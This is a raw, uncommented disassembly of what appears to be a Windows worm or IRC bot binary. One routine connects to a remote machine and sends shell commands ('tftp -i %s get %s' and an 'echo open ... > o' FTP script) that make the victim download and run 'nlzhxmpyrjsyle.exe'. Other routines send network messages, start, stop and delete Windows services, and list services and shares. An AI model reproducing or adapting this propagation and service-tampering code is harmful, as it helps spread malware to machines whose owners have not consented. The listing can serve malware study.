		push	[ebp+arg_8]	; int
		push	eax		; int
		push	[ebp+Str]	; Str
		push	[ebp+arg_0]	; int
		call	sub_409D34
		add	esp, 1Ch

loc_41933E:				; CODE XREF: sub_41927E+86j
		pop	edi
		leave
		retn
sub_41927E	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 5A0h
		push	ebx
		push	esi
		push	edi
		xor	edi, edi
		push	10h
		lea	eax, [ebp-10h]
		push	edi
		push	eax
		call	_memset
		add	esp, 0Ch
		lea	eax, [ebp+0Ch]
		mov	word ptr [ebp-10h], 2
		push	eax
		call	dword_4E3138	; inet_addr
		push	dword ptr [ebp+0C4h]
		mov	[ebp-0Ch], eax
		call	dword_4E30F8	; htons
		push	edi
		push	1
		push	2
		mov	[ebp-0Eh], ax
		call	dword_4E3178	; socket
		mov	esi, eax
		cmp	esi, 0FFFFFFFFh
		mov	[ebp+0C4h], esi
		jz	loc_419444
		lea	eax, [ebp-10h]
		push	10h
		push	eax
		push	esi
		call	dword_4E30A0	; connect
		cmp	eax, 0FFFFFFFFh
		jz	loc_419444
		mov	ebx, 400h
		push	edi
		lea	eax, [ebp-5A0h]
		push	ebx
		push	eax
		push	esi
		call	dword_4E3110	; recv
		mov	esi, offset Str	; "nlzhxmpyrjsyle.exe"
		push	esi
		push	esi
		push	dword ptr [ebp+8]
		call	sub_40AF71
		pop	ecx
		mov	edi, 190h
		push	eax
		push	offset aTftpISGetSS ; "tftp -i %s get %s &%s\r\n"
		lea	eax, [ebp-1A0h]
		push	edi
		push	eax
		call	__snprintf
		movzx	eax, word ptr dword_4E2E18
		add	esp, 18h
		push	esi
		push	esi
		push	eax
		push	dword ptr [ebp+8]
		call	sub_40AF71
		pop	ecx
		push	eax
		push	offset aEchoOpenSDOE_0 ; "echo open %s %d > o&echo user	1 1 >> o "...
		lea	eax, [ebp-1A0h]
		push	edi
		push	eax
		call	__snprintf
		add	esp, 1Ch
		lea	eax, [ebp-1A0h]
		push	0
		push	eax
		call	_strlen
		pop	ecx
		push	eax
		lea	eax, [ebp-1A0h]
		push	eax
		push	dword ptr [ebp+0C4h]
		call	dword_4E3148	; send
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_419448

loc_419444:				; CODE XREF: .text:00419397j
					; .text:004193ADj
		xor	al, al
		jmp	short loc_41946C
; ---------------------------------------------------------------------------

loc_419448:				; CODE XREF: .text:00419442j
		push	0
		lea	eax, [ebp-5A0h]
		push	ebx
		push	eax
		push	dword ptr [ebp+0C4h]
		call	dword_4E3110	; recv
		push	dword ptr [ebp+0C4h]
		call	dword_4E3190	; closesocket
		mov	al, 1

loc_41946C:				; CODE XREF: .text:00419446j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_419471(char *Source,int,int)

sub_419471	proc near		; CODE XREF: sub_401CC7+567Fp

Dest		= word ptr -1C0h
var_15C		= byte ptr -15Ch
Str		= word ptr -0F8h
var_94		= dword	ptr -94h
var_90		= dword	ptr -90h
var_8C		= dword	ptr -8Ch
var_84		= dword	ptr -84h
Source		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 1C0h
		lea	eax, [ebp+var_94]
		mov	[ebp+var_94], 94h
		push	eax
		call	ds:dword_4F539C	; GetVersionExA
		cmp	[ebp+var_90], 4
		jnz	short loc_4194C7
		cmp	[ebp+var_8C], 0
		jnz	short loc_4194B0
		push	1
		pop	eax
		cmp	[ebp+var_84], eax
		jnz	short loc_4194C7
		leave
		retn
; ---------------------------------------------------------------------------

loc_4194B0:				; CODE XREF: sub_419471+30j
		cmp	[ebp+var_8C], 0Ah
		jz	short loc_4194C2
		cmp	[ebp+var_8C], 5Ah
		jnz	short loc_4194C7

loc_4194C2:				; CODE XREF: sub_419471+46j
		push	1
		pop	eax
		leave
		retn
; ---------------------------------------------------------------------------

loc_4194C7:				; CODE XREF: sub_419471+27j
					; sub_419471+3Bj ...
		push	esi
		push	edi
		push	offset aNetapi32_dll_0 ; "netapi32.dll"
		call	ds:dword_4F538C	; LoadLibraryA
		mov	esi, eax
		push	offset aNetmessagebu_0 ; "NetMessageBufferSend"
		push	esi
		call	ds:dword_4F5390	; GetProcAddress
		push	32h		; MaxCount
		mov	edi, eax
		push	[ebp+Source]	; Source
		lea	eax, [ebp+Dest]
		push	eax		; Dest
		call	_mbstowcs
		push	32h		; MaxCount
		lea	eax, [ebp+var_15C]
		push	[ebp+arg_4]	; Source
		push	eax		; Dest
		call	_mbstowcs
		push	32h		; MaxCount
		lea	eax, [ebp+Str]
		push	[ebp+arg_8]	; Source
		push	eax		; Dest
		call	_mbstowcs
		lea	eax, [ebp+Str]
		push	eax		; Str
		call	_wcslen
		shl	eax, 1
		push	eax
		lea	eax, [ebp+Str]
		push	eax
		lea	eax, [ebp+var_15C]
		push	eax
		lea	eax, [ebp+Dest]
		push	eax
		push	0
		call	edi	; GetProcessHeap
		add	esp, 3Ch
		mov	edi, eax
		push	esi
		call	ds:dword_4F5410	; FreeLibrary
		mov	eax, edi
		pop	edi
		pop	esi
		leave
		retn
sub_419471	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_419551	proc near		; CODE XREF: sub_401317+F7p
					; sub_40F149+Ap ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	esi
		call	ds:dword_4F537C	; GetTickCount
		push	eax		; Seed
		call	_srand
		pop	ecx
		call	_rand
		mov	esi, [ebp+arg_0]
		mov	[ebp+var_4], eax
		mov	eax, [ebp+arg_4]
		fild	[ebp+var_4]
		sub	eax, esi
		mov	[ebp+arg_4], eax
		fimul	[ebp+arg_4]
		fmul	ds:dbl_43C4E0
		call	__ftol
		sub	esi, eax
		mov	eax, esi
		pop	esi
		leave
		retn
sub_419551	endp


; =============== S U B	R O U T	I N E =======================================



sub_41958E	proc near		; CODE XREF: sub_401CC7+45BAp
					; sub_401CC7+4610p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_0]
		push	esi
		push	edi
		mov	edi, [esp+8+arg_4]
		test	edi, edi
		jz	short loc_4195E6
		lea	esi, [eax+eax*2]
		push	0
		shl	esi, 2
		push	0
		push	dword_44FE90[esi]
		push	edi
		push	eax
		call	sub_419608
		add	esp, 14h
		test	eax, eax
		jnz	short loc_4195D6
		push	edi
		push	off_44FE8C[esi]
		push	offset asc_44FF50 ; "-"

loc_4195C6:				; CODE XREF: sub_41958E+56j
		mov	esi, offset byte_4F325C
		push	esi		; Dest
		call	_sprintf
		add	esp, 10h
		jmp	short loc_419603
; ---------------------------------------------------------------------------

loc_4195D6:				; CODE XREF: sub_41958E+2Aj
		push	eax
		call	sub_4196AA
		pop	ecx
		push	eax
		push	edi
		push	offset unk_44FF6C
		jmp	short loc_4195C6
; ---------------------------------------------------------------------------

loc_4195E6:				; CODE XREF: sub_41958E+Cj
		lea	eax, [eax+eax*2]
		mov	esi, offset byte_4F325C
		push	off_44FE88[eax*4]
		push	offset asc_44FF98 ; "-"
		push	esi		; Dest
		call	_sprintf
		add	esp, 0Ch

loc_419603:				; CODE XREF: sub_41958E+46j
		mov	eax, esi
		pop	edi
		pop	esi
		retn
sub_41958E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_419608	proc near		; CODE XREF: sub_41958E+20p

var_1C		= byte ptr -1Ch
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		sub	esp, 1Ch
		push	ebx
		push	edi
		xor	ebx, ebx
		push	0F003Fh
		push	ebx
		push	ebx
		call	dword_4E30EC	; OpenSCManagerA
		mov	edi, eax
		cmp	edi, ebx
		jnz	short loc_41962F
		call	ds:dword_4F5360	; RtlGetLastWin32Error
		mov	ebx, eax
		jmp	short loc_4196A4
; ---------------------------------------------------------------------------

loc_41962F:				; CODE XREF: sub_419608+1Bj
		push	esi
		push	0F01FFh
		push	[ebp+arg_4]
		push	edi
		call	dword_4E2FD4	; OpenServiceA
		mov	esi, eax
		cmp	esi, ebx
		jnz	short loc_41964F
		call	ds:dword_4F5360	; RtlGetLastWin32Error
		mov	ebx, eax
		jmp	short loc_41969C
; ---------------------------------------------------------------------------

loc_41964F:				; CODE XREF: sub_419608+3Bj
		mov	eax, [ebp+arg_0]
		cmp	eax, 1
		jz	short loc_419682
		cmp	eax, 3
		jz	short loc_419673
		jle	short loc_419695
		cmp	eax, 6
		jg	short loc_419695
		lea	eax, [ebp+var_1C]
		push	eax
		push	[ebp+arg_8]
		push	esi
		call	dword_4E3040	; ControlService
		jmp	short loc_419689
; ---------------------------------------------------------------------------

loc_419673:				; CODE XREF: sub_419608+52j
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	esi
		call	dword_4E2FDC	; StartServiceA
		jmp	short loc_419689
; ---------------------------------------------------------------------------

loc_419682:				; CODE XREF: sub_419608+4Dj
		push	esi
		call	dword_4E3044	; DeleteService

loc_419689:				; CODE XREF: sub_419608+69j
					; sub_419608+78j
		test	eax, eax
		jnz	short loc_419695
		call	ds:dword_4F5360	; RtlGetLastWin32Error
		mov	ebx, eax

loc_419695:				; CODE XREF: sub_419608+54j
					; sub_419608+59j ...
		push	esi
		call	dword_4E2FF0	; CloseServiceHandle

loc_41969C:				; CODE XREF: sub_419608+45j
		push	edi
		call	dword_4E2FF0	; CloseServiceHandle
		pop	esi

loc_4196A4:				; CODE XREF: sub_419608+25j
		mov	eax, ebx
		pop	edi
		pop	ebx
		leave
		retn
sub_419608	endp


; =============== S U B	R O U T	I N E =======================================



sub_4196AA	proc near		; CODE XREF: sub_41958E+49p

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		mov	ecx, 420h
		cmp	eax, ecx
		ja	loc_41975F
		jz	loc_419758
		add	ecx, 0FFFFFFFBh
		cmp	eax, ecx
		ja	short loc_419722
		jz	short loc_419718
		mov	ecx, eax
		sub	ecx, 3
		jz	short loc_41970E
		dec	ecx
		dec	ecx
		jz	short loc_419704
		dec	ecx
		jz	short loc_4196FA
		sub	ecx, 51h
		jz	short loc_4196F0
		sub	ecx, 24h
		jnz	loc_4197D5	; default
					; jumptable 0041977C cases 1,5,6,8,9,12,13,15,16
		push	offset aTheSpecifiedSe ; "The specified	service	name is	invalid."
		jmp	loc_4197C7
; ---------------------------------------------------------------------------

loc_4196F0:				; CODE XREF: sub_4196AA+31j
		push	offset aTheRequestedCo ; "The requested	control	code is	undefined"...
		jmp	loc_4197C7
; ---------------------------------------------------------------------------

loc_4196FA:				; CODE XREF: sub_4196AA+2Cj
		push	offset aTheHandleIsInv ; "The handle is	invalid."
		jmp	loc_4197C7
; ---------------------------------------------------------------------------

loc_419704:				; CODE XREF: sub_4196AA+29j
		push	offset aTheHandleDoesN ; "The handle does not have the required	a"...
		jmp	loc_4197C7
; ---------------------------------------------------------------------------

loc_41970E:				; CODE XREF: sub_4196AA+25j
		push	offset aTheServiceBina ; "The service binary file could	not be fo"...
		jmp	loc_4197C7
; ---------------------------------------------------------------------------

loc_419718:				; CODE XREF: sub_4196AA+1Ej
		push	offset aTheServiceCann ; "The service cannot be	stopped	because	o"...
		jmp	loc_4197C7
; ---------------------------------------------------------------------------

loc_419722:				; CODE XREF: sub_4196AA+1Cj
		mov	ecx, eax
		sub	ecx, 41Ch
		jz	short loc_419751
		dec	ecx
		jz	short loc_41974A
		dec	ecx
		jz	short loc_419743
		dec	ecx
		jnz	loc_4197D5	; default
					; jumptable 0041977C cases 1,5,6,8,9,12,13,15,16
		push	offset aTheDatabaseIsL ; "The database is locked."
		jmp	loc_4197C7
; ---------------------------------------------------------------------------

loc_419743:				; CODE XREF: sub_4196AA+86j
		push	offset aAThreadCouldNo ; "A thread could not be	created	for the	s"...
		jmp	short loc_4197C7
; ---------------------------------------------------------------------------

loc_41974A:				; CODE XREF: sub_4196AA+83j
		push	offset aTheProcessForT ; "The process for the service was started"...
		jmp	short loc_4197C7
; ---------------------------------------------------------------------------

loc_419751:				; CODE XREF: sub_4196AA+80j
		push	offset aTheRequested_0 ; "The requested	control	code is	not valid"...
		jmp	short loc_4197C7
; ---------------------------------------------------------------------------

loc_419758:				; CODE XREF: sub_4196AA+11j
		push	offset aAnInstanceOfTh ; "An instance of the service is	already	r"...
		jmp	short loc_4197C7
; ---------------------------------------------------------------------------

loc_41975F:				; CODE XREF: sub_4196AA+Bj
		mov	ecx, 45Bh
		cmp	eax, ecx
		ja	short loc_4197D5 ; default
					; jumptable 0041977C cases 1,5,6,8,9,12,13,15,16
		jz	short loc_4197C2
		lea	ecx, [eax-422h]
		cmp	ecx, 11h	; switch 18 cases
		ja	short loc_4197D5 ; default
					; jumptable 0041977C cases 1,5,6,8,9,12,13,15,16
		movzx	ecx, ds:byte_419816[ecx]
		jmp	ds:off_4197EE[ecx*4] ; switch jump

loc_419783:				; DATA XREF: .text:off_4197EEo
		push	offset aTheSpecifiedDa ; jumptable 0041977C case 7
		jmp	short loc_4197C7
; ---------------------------------------------------------------------------

loc_41978A:				; CODE XREF: sub_4196AA+D2j
					; DATA XREF: .text:off_4197EEo
		push	offset aTheServiceDepe ; jumptable 0041977C case 17
		jmp	short loc_4197C7
; ---------------------------------------------------------------------------

loc_419791:				; CODE XREF: sub_4196AA+D2j
					; DATA XREF: .text:off_4197EEo
		push	offset aTheServiceDe_0 ; jumptable 0041977C case 10
		jmp	short loc_4197C7
; ---------------------------------------------------------------------------

loc_419798:				; CODE XREF: sub_4196AA+D2j
					; DATA XREF: .text:off_4197EEo
		push	offset aTheServiceHasB ; jumptable 0041977C case 0
		jmp	short loc_4197C7
; ---------------------------------------------------------------------------

loc_41979F:				; CODE XREF: sub_4196AA+D2j
					; DATA XREF: .text:off_4197EEo
		push	offset aTheSpecified_0 ; jumptable 0041977C case 2
		jmp	short loc_4197C7
; ---------------------------------------------------------------------------

loc_4197A6:				; CODE XREF: sub_4196AA+D2j
					; DATA XREF: .text:off_4197EEo
		push	offset aTheServiceCoul ; jumptable 0041977C case 11
		jmp	short loc_4197C7
; ---------------------------------------------------------------------------

loc_4197AD:				; CODE XREF: sub_4196AA+D2j
					; DATA XREF: .text:off_4197EEo
		push	offset aTheServiceHa_0 ; jumptable 0041977C case 14
		jmp	short loc_4197C7
; ---------------------------------------------------------------------------

loc_4197B4:				; CODE XREF: sub_4196AA+D2j
					; DATA XREF: .text:off_4197EEo
		push	offset aTheRequested_1 ; jumptable 0041977C case 3
		jmp	short loc_4197C7
; ---------------------------------------------------------------------------

loc_4197BB:				; CODE XREF: sub_4196AA+D2j
					; DATA XREF: .text:off_4197EEo
		push	offset aTheServiceHasN ; jumptable 0041977C case 4
		jmp	short loc_4197C7
; ---------------------------------------------------------------------------

loc_4197C2:				; CODE XREF: sub_4196AA+BEj
		push	offset aTheSystemIsShu ; "The system is	shutting down."

loc_4197C7:				; CODE XREF: sub_4196AA+41j
					; sub_4196AA+4Bj ...
		push	offset byte_4F2B9C ; Dest
		call	_sprintf
		pop	ecx
		pop	ecx
		jmp	short loc_4197E8
; ---------------------------------------------------------------------------

loc_4197D5:				; CODE XREF: sub_4196AA+36j
					; sub_4196AA+89j ...
		push	eax		; default
					; jumptable 0041977C cases 1,5,6,8,9,12,13,15,16
		push	offset aAnUnknownError ; "An unknown error occurred: <%ld>"
		push	offset byte_4F2B9C ; Dest
		call	_sprintf
		add	esp, 0Ch

loc_4197E8:				; CODE XREF: sub_4196AA+129j
		mov	eax, offset byte_4F2B9C
		retn
sub_4196AA	endp

; ---------------------------------------------------------------------------
off_4197EE	dd offset loc_419798	; DATA XREF: sub_4196AA+D2r
		dd offset loc_41979F	; jump table for switch	statement
		dd offset loc_4197B4
		dd offset loc_4197BB
		dd offset loc_419783
		dd offset loc_419791
		dd offset loc_4197A6
		dd offset loc_4197AD
		dd offset loc_41978A
		dd offset loc_4197D5
byte_419816	db	0,     9,     1,     2 ; DATA XREF: sub_4196AA+CBr
		db	3,     9,     9,     4 ; indirect table	for switch statement
		db	9,     9,     5,     6
		db	9,     9,     7,     9
		db	9,     8

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_419828(int,char *Str,int)

sub_419828	proc near		; CODE XREF: sub_401CC7+45D8p

var_38C		= dword	ptr -38Ch
var_18C		= byte ptr -18Ch
var_188		= byte ptr -188h
var_24		= byte ptr -24h
Dest		= byte ptr -20h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
Str		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 38Ch
		push	ebx
		push	esi
		push	edi
		xor	ebx, ebx
		push	0F003Fh
		push	ebx
		push	ebx
		mov	[ebp+var_8], ebx
		call	dword_4E30EC	; OpenSCManagerA
		push	ebx		; int
		mov	[ebp+var_C], eax
		push	[ebp+arg_8]	; int
		push	offset aTheFollowingWi ; "The following	Windows	services are regi"...
		push	[ebp+Str]	; Str
		push	[ebp+arg_0]	; int
		call	sub_409D34
		add	esp, 14h

loc_419860:				; CODE XREF: sub_419828+120j
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		lea	eax, [ebp+var_24]
		push	eax
		lea	eax, [ebp+var_18C]
		push	168h
		push	eax
		push	3
		push	30h
		push	[ebp+var_C]
		call	dword_4E30B8	; EnumServicesStatusA
		test	eax, eax
		jnz	short loc_41989A
		call	ds:dword_4F5360	; RtlGetLastWin32Error
		cmp	eax, 0EAh
		jnz	loc_41994E

loc_41989A:				; CODE XREF: sub_419828+5Fj
		xor	edi, edi
		cmp	[ebp+var_4], ebx
		jle	loc_419945
		lea	esi, [ebp+var_188]

loc_4198AB:				; CODE XREF: sub_419828+117j
		mov	eax, [esi+8]
		dec	eax
		jz	short loc_4198F4
		dec	eax
		jz	short loc_4198ED
		dec	eax
		jz	short loc_4198E6
		dec	eax
		jz	short loc_4198DF
		dec	eax
		jz	short loc_4198D8
		dec	eax
		jz	short loc_4198D1
		dec	eax
		jz	short loc_4198CA
		push	offset aUnknown_0 ; "	 Unknown"
		jmp	short loc_4198F9
; ---------------------------------------------------------------------------

loc_4198CA:				; CODE XREF: sub_419828+99j
		push	offset aPaused	; "	Paused"
		jmp	short loc_4198F9
; ---------------------------------------------------------------------------

loc_4198D1:				; CODE XREF: sub_419828+96j
		push	offset aPausing	; "    Pausing"
		jmp	short loc_4198F9
; ---------------------------------------------------------------------------

loc_4198D8:				; CODE XREF: sub_419828+93j
		push	offset aContinuing ; " Continuing"
		jmp	short loc_4198F9
; ---------------------------------------------------------------------------

loc_4198DF:				; CODE XREF: sub_419828+90j
		push	offset aRunning	; "    Running"
		jmp	short loc_4198F9
; ---------------------------------------------------------------------------

loc_4198E6:				; CODE XREF: sub_419828+8Dj
		push	offset aStoping	; "    Stoping"
		jmp	short loc_4198F9
; ---------------------------------------------------------------------------

loc_4198ED:				; CODE XREF: sub_419828+8Aj
		push	offset aStarting ; "   Starting"
		jmp	short loc_4198F9
; ---------------------------------------------------------------------------

loc_4198F4:				; CODE XREF: sub_419828+87j
		push	offset aStopped	; "    Stopped"

loc_4198F9:				; CODE XREF: sub_419828+A0j
					; sub_419828+A7j ...
		lea	eax, [ebp+Dest]
		push	eax		; Dest
		call	_sprintf
		pop	ecx
		lea	eax, [ebp+Dest]
		pop	ecx
		push	dword ptr [esi]
		push	dword ptr [esi-4]
		push	eax
		lea	eax, [ebp+var_38C]
		push	offset aSSS_2	; "%s: %s (%s)"
		push	eax		; Dest
		call	_sprintf
		push	1		; int
		lea	eax, [ebp+var_38C]
		push	[ebp+arg_8]	; int
		push	eax		; int
		push	[ebp+Str]	; Str
		push	[ebp+arg_0]	; int
		call	sub_409D34
		add	esp, 28h
		inc	edi
		add	esi, 24h
		cmp	edi, [ebp+var_4]
		jl	loc_4198AB

loc_419945:				; CODE XREF: sub_419828+77j
		cmp	[ebp+var_8], ebx
		jnz	loc_419860

loc_41994E:				; CODE XREF: sub_419828+6Cj
		push	[ebp+var_C]
		call	dword_4E2FF0	; CloseServiceHandle
		xor	eax, eax
		pop	edi
		cmp	eax, [ebp+var_4]
		pop	esi
		pop	ebx
		sbb	eax, eax
		neg	eax
		leave
		retn
sub_419828	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_419965(int,char *Str,int)

sub_419965	proc near		; CODE XREF: sub_401CC7+46C3p
					; sub_401CC7+46DFp

arg_0		= dword	ptr  8
Str		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	esi
		push	edi
		mov	edi, [ebp+Str]
		test	edi, edi
		jz	loc_4199FF
		mov	esi, [ebp+arg_0]
		mov	eax, esi
		sub	eax, 0
		jz	short loc_41998E
		dec	eax
		jnz	short loc_4199DF
		push	edi
		push	0
		call	sub_419B38
		pop	ecx
		pop	ecx
		jmp	short loc_4199DB
; ---------------------------------------------------------------------------

loc_41998E:				; CODE XREF: sub_419965+18j
		cmp	[ebp+arg_8], 0
		jnz	short loc_4199CD
		push	24h		; Val
		push	edi		; Str
		call	_strchr
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4199CD
		push	57h
		pop	eax

loc_4199A5:				; CODE XREF: sub_419965+78j
		push	eax
		call	sub_41A32C
		pop	ecx
		push	eax
		lea	eax, [esi+esi*2]
		push	edi
		mov	esi, offset byte_4F2E58
		push	off_44FE88[eax*4]
		push	offset asc_450510 ; "-"
		push	esi		; Dest
		call	_sprintf
		add	esp, 14h
		jmp	short loc_419A1F
; ---------------------------------------------------------------------------

loc_4199CD:				; CODE XREF: sub_419965+2Dj
					; sub_419965+3Bj
		push	[ebp+arg_8]	; int
		push	edi		; Str
		push	0		; int
		call	sub_419A8C
		add	esp, 0Ch

loc_4199DB:				; CODE XREF: sub_419965+27j
		test	eax, eax
		jnz	short loc_4199A5

loc_4199DF:				; CODE XREF: sub_419965+1Bj
		lea	eax, [esi+esi*2]
		push	edi
		mov	esi, offset byte_4F2E58
		push	off_44FE8C[eax*4]
		push	offset asc_4504F4 ; "-"
		push	esi		; Dest
		call	_sprintf
		add	esp, 10h
		jmp	short loc_419A1F
; ---------------------------------------------------------------------------

loc_4199FF:				; CODE XREF: sub_419965+Aj
		mov	eax, [ebp+arg_0]
		mov	esi, offset byte_4F2E58
		lea	eax, [eax+eax*2]
		push	off_44FE88[eax*4]
		push	offset asc_45053C ; "-"
		push	esi		; Dest
		call	_sprintf
		add	esp, 0Ch

loc_419A1F:				; CODE XREF: sub_419965+66j
					; sub_419965+98j
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebp
		retn
sub_419965	endp


; =============== S U B	R O U T	I N E =======================================



sub_419A25	proc near		; CODE XREF: sub_41AD5D+245p

arg_0		= dword	ptr  4
arg_C		= dword	ptr  10h

		push	esi
		xor	esi, esi
		cmp	[esp+4+arg_0], esi
		jnz	short loc_419A32
		xor	eax, eax
		pop	esi
		retn
; ---------------------------------------------------------------------------

loc_419A32:				; CODE XREF: sub_419A25+7j
		push	ebx
		push	ebp
		push	edi
		push	esi
		push	esi
		push	esi
		mov	edi, ds:dword_4F5450
		push	esi
		push	0FFFFFFFFh
		mov	ebx, 400h
		push	[esp+24h+arg_0]
		push	ebx
		push	esi
		call	edi	; WideCharToMultiByte
		test	byte_4F3058, 1
		mov	ebp, eax
		jnz	short loc_419A6F
		or	byte_4F3058, 1
		lea	eax, [ebp+1]
		push	eax		; unsigned int
		call	??2@YAPAXI@Z	; operator new(uint)
		pop	ecx
		mov	dword_4F2DF8, eax

loc_419A6F:				; CODE XREF: sub_419A25+32j
		push	esi
		push	esi
		push	ebp
		push	dword_4F2DF8
		push	0FFFFFFFFh
		push	[esp+18h+arg_C]
		push	ebx
		push	esi
		call	edi	; WideCharToMultiByte
		mov	eax, dword_4F2DF8
		pop	edi
		pop	ebp
		pop	ebx
		pop	esi
		retn
sub_419A25	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_419A8C(int,char *Str,int)

sub_419A8C	proc near		; CODE XREF: sub_419965+6Ep
					; sub_41B081+184p ...

var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
Str		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 20h
		push	edi
		push	[ebp+arg_0]
		call	sub_419AF7
		push	[ebp+Str]
		mov	edi, eax
		call	sub_419AF7
		push	24h		; Val
		mov	[ebp+var_20], eax
		push	[ebp+Str]	; Str
		call	_strchr
		push	[ebp+arg_8]
		mov	[ebp+var_14], 7Fh
		neg	eax
		sbb	eax, eax
		and	[ebp+var_18], 0
		or	[ebp+var_10], 0FFFFFFFFh
		and	[ebp+var_C], 0
		and	eax, 80000000h
		mov	[ebp+var_1C], eax
		call	sub_419AF7
		add	esp, 14h
		mov	[ebp+var_8], eax
		and	[ebp+var_4], 0
		lea	eax, [ebp+arg_0]
		push	eax
		lea	eax, [ebp+var_20]
		push	eax
		push	2
		push	edi
		call	dword_4E2FEC
		pop	edi
		leave
		retn
sub_419A8C	endp


; =============== S U B	R O U T	I N E =======================================



sub_419AF7	proc near		; CODE XREF: sub_419A8C+Ap
					; sub_419A8C+14p ...

arg_0		= dword	ptr  4

		push	ebp
		mov	ebp, [esp+4+arg_0]
		xor	eax, eax
		cmp	ebp, eax
		jnz	short loc_419B04
		pop	ebp
		retn
; ---------------------------------------------------------------------------

loc_419B04:				; CODE XREF: sub_419AF7+9j
		push	ebx
		push	esi
		mov	esi, ds:dword_4F5454
		push	edi
		push	eax
		push	eax
		push	0FFFFFFFFh
		push	ebp
		push	1
		push	eax
		call	esi	; MultiByteToWideChar
		mov	edi, eax
		lea	eax, [edi+edi+2]
		push	eax		; unsigned int
		call	??2@YAPAXI@Z	; operator new(uint)
		pop	ecx
		mov	ebx, eax
		push	edi
		push	ebx
		push	0FFFFFFFFh
		push	ebp
		push	1
		push	0
		call	esi	; MultiByteToWideChar
		pop	edi
		mov	eax, ebx
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_419AF7	endp


; =============== S U B	R O U T	I N E =======================================



sub_419B38	proc near		; CODE XREF: sub_419965+20p
					; sub_41AD5D+1BBp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		push	[esp+4+arg_0]
		call	sub_419AF7
		push	[esp+8+arg_4]
		mov	esi, eax
		call	sub_419AF7
		pop	ecx
		pop	ecx
		push	0
		push	eax
		push	esi
		call	dword_4E2FC4
		pop	esi
		retn
sub_419B38	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_419B5B(int,char *Str,int,int)

sub_419B5B	proc near		; CODE XREF: sub_401CC7+46FFp

Dest		= byte ptr -210h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
Str		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 210h
		push	ebx
		push	esi
		push	edi
		push	[ebp+arg_C]
		call	sub_419AF7
		xor	esi, esi
		mov	[ebp+var_C], eax
		push	esi		; int
		mov	[ebp+arg_C], esi
		push	[ebp+arg_8]	; int
		mov	[ebp+var_8], esi
		mov	[ebp+var_10], esi
		push	offset aShareNameResou ; "Share	name:	 Resource:		 "...
		push	[ebp+Str]	; Str
		push	[ebp+arg_0]	; int
		call	sub_409D34
		add	esp, 18h

loc_419B94:				; CODE XREF: sub_419B5B+10Fj
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+arg_C]
		push	eax
		lea	eax, [ebp+var_4]
		push	0FFFFFFFFh
		push	eax
		push	1F6h
		push	[ebp+var_C]
		call	dword_4E303C
		mov	ebx, eax
		cmp	ebx, esi
		jz	short loc_419BF7
		cmp	ebx, 0EAh
		jz	short loc_419BF7
		push	ebx
		push	ebx
		call	sub_41A32C
		pop	ecx
		push	eax
		lea	eax, [ebp+Dest]
		push	offset asc_4505B8 ; "-"
		push	eax		; Dest
		call	_sprintf
		push	esi		; int
		lea	eax, [ebp+Dest]
		push	[ebp+arg_8]	; int
		push	eax		; int
		push	[ebp+Str]	; Str
		push	[ebp+arg_0]	; int
		call	sub_409D34
		add	esp, 24h
		jmp	short loc_419C64
; ---------------------------------------------------------------------------

loc_419BF7:				; CODE XREF: sub_419B5B+5Dj
					; sub_419B5B+65j
		push	1
		pop	edi
		cmp	[ebp+arg_C], edi
		jb	short loc_419C5B
		mov	eax, [ebp+var_4]
		lea	esi, [eax+14h]

loc_419C05:				; CODE XREF: sub_419B5B+FCj
		push	dword ptr [esi+10h]
		call	dword_4E2FE0	; IsValidSecurityDescriptor
		test	eax, eax
		mov	eax, offset aYes ; "Yes"
		jnz	short loc_419C1C
		mov	eax, offset aNo	; "No"

loc_419C1C:				; CODE XREF: sub_419B5B+BAj
		push	eax
		lea	eax, [ebp+Dest]
		push	dword ptr [esi]
		push	dword ptr [esi+4]
		push	dword ptr [esi-14h]
